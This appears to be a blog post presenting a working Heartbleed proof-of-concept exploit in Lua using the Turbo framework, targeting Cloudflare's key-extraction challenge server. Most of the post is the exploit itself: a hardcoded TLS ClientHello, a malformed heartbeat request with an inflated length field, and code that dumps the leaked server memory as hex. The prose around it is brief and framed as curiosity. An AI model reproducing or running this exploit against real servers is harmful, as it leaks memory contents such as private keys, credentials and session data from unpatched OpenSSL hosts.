Heartbleed with Turbo.lua

Heartbleed Logo

Heartbleed

The Heartbleed bug was announced just a week ago and I was curious like everyone else how bad it was. It allowed anyone to read up to 64kb of memory without any restrictions. People came up with PoC's mostly written in Python but I decided to give this a try in Lua. I could have used a variety of modules but ended up with the Turbo framework.

Clouldflare put up a challange that targeted the extraction of private SSL keys. It was cracked within a few hours but the site was up for two more days before the cert got revoked. This made the perfect playground for playing with Turbo.

Turbo.lua

Turbo is built for LuaJIT which means your code is optimized and compiled for the native architecture it runs on. This provides you with roughly the speed of compiled C code.

  • API based on Python's Tornado
  • Implemented with pure Lua / FFI
  • Event driven, asynchronous and threadless design

I was suprised by how easy it was with just this framework, so here is the code:

-- https://github.com/luastoned/lua-essentials
require("essentials")

-- Always set me when using SSL, before loading framework.
TURBO_SSL = true
local turbo = require("turbo")

local url = "cloudflarechallenge.com"

local bleedQuery = "\x18\x03\x02\x00\x03\x01\x40\x00"
local helloQuery = ([[
\x16\x03\x02\x00\xDC\x01\x00\x00\xD8\x03\x02\x53\x43\x5B\x90\x9D
\x9B\x72\x0B\xBC\x0C\xBC\x2B\x92\xA8\x48\x97\xCF\xBD\x39\x04\xCC
\x16\x0A\x85\x03\x90\x9F\x77\x04\x33\xD4\xDE\x00\x00\x66\xC0\x14
\xC0\x0A\xC0\x22\xC0\x21\x00\x39\x00\x38\x00\x88\x00\x87\xC0\x0F
\xC0\x05\x00\x35\x00\x84\xC0\x12\xC0\x08\xC0\x1C\xC0\x1B\x00\x16
\x00\x13\xC0\x0D\xC0\x03\x00\x0A\xC0\x13\xC0\x09\xC0\x1F\xC0\x1E
\x00\x33\x00\x32\x00\x9A\x00\x99\x00\x45\x00\x44\xC0\x0E\xC0\x04
\x00\x2F\x00\x96\x00\x41\xC0\x11\xC0\x07\xC0\x0C\xC0\x02\x00\x05
\x00\x04\x00\x15\x00\x12\x00\x09\x00\x14\x00\x11\x00\x08\x00\x06
\x00\x03\x00\xFF\x01\x00\x00\x49\x00\x0B\x00\x04\x03\x00\x01\x02
\x00\x0A\x00\x34\x00\x32\x00\x0E\x00\x0D\x00\x19\x00\x0B\x00\x0C
\x00\x18\x00\x09\x00\x0A\x00\x16\x00\x17\x00\x08\x00\x06\x00\x07
\x00\x14\x00\x15\x00\x04\x00\x05\x00\x12\x00\x13\x00\x01\x00\x02
\x00\x03\x00\x0F\x00\x10\x00\x11\x00\x23\x00\x00\x00\x0F\x00\x01
\x01]]):gsub("\n", ""):fromHex("\\x(..)")

local function hexPrint(data)
    for i = 1, data:len(), 16 do
        local line = data:sub(i, i + 15):toTable()
        local hex, str = {}, {}

        for k, char in pairs(line) do
            local byte = char:byte()
            table.insert(hex, string.format("%02X", byte))
            table.insert(str, (byte < 32 or byte > 126) and "." or char)
        end

        print(table.concat(hex, " ") .. " - " .. table.concat(str, ""))
    end
end

local function streamReceive(stream)
    local res = coroutine.yield(turbo.async.task(stream.read_bytes, stream, 5))
    local typ = res:byte(1)
    local ver = res:byte(2) * 256 + res:byte(3)
    local len = res:byte(4) * 256 + res:byte(5)
    local pay = coroutine.yield(turbo.async.task(stream.read_bytes, stream, len))
    return typ, ver, pay
end

local tio = turbo.ioloop.instance()
local function bleedCallback()
    -- Must place everything in a IOLoop callback.
    local fd = turbo.socket.new_nonblock_socket(turbo.socket.AF_INET, turbo.socket.SOCK_STREAM, 0)
    local stream = turbo.iostream.IOStream(fd, tio)

    local function streamCallback()
        local serverHello = false
        while (not serverHello) do
            local typ, ver, pay = streamReceive(stream)
            if (typ == 22 and pay:byte(1) == 14) then
                serverHello = true
            end
        end

        stream:write(bleedQuery, function() end)

        local serverBleed = false
        while (not serverBleed) do
            local typ, ver, pay = streamReceive(stream)
            if (typ == 24 and pay:len() > 3) then
                hexPrint(pay)
                serverBleed = true
            end
        end

        stream:close()
        tio:close()
    end

    local function streamError(err)
        error(err)
        tio:close()
    end

    stream:connect(url, 443, turbo.socket.AF_INET, streamCallback, streamError)
    stream:write(helloQuery, function() end)
end

tio:add_callback(bleedCallback)
tio:start()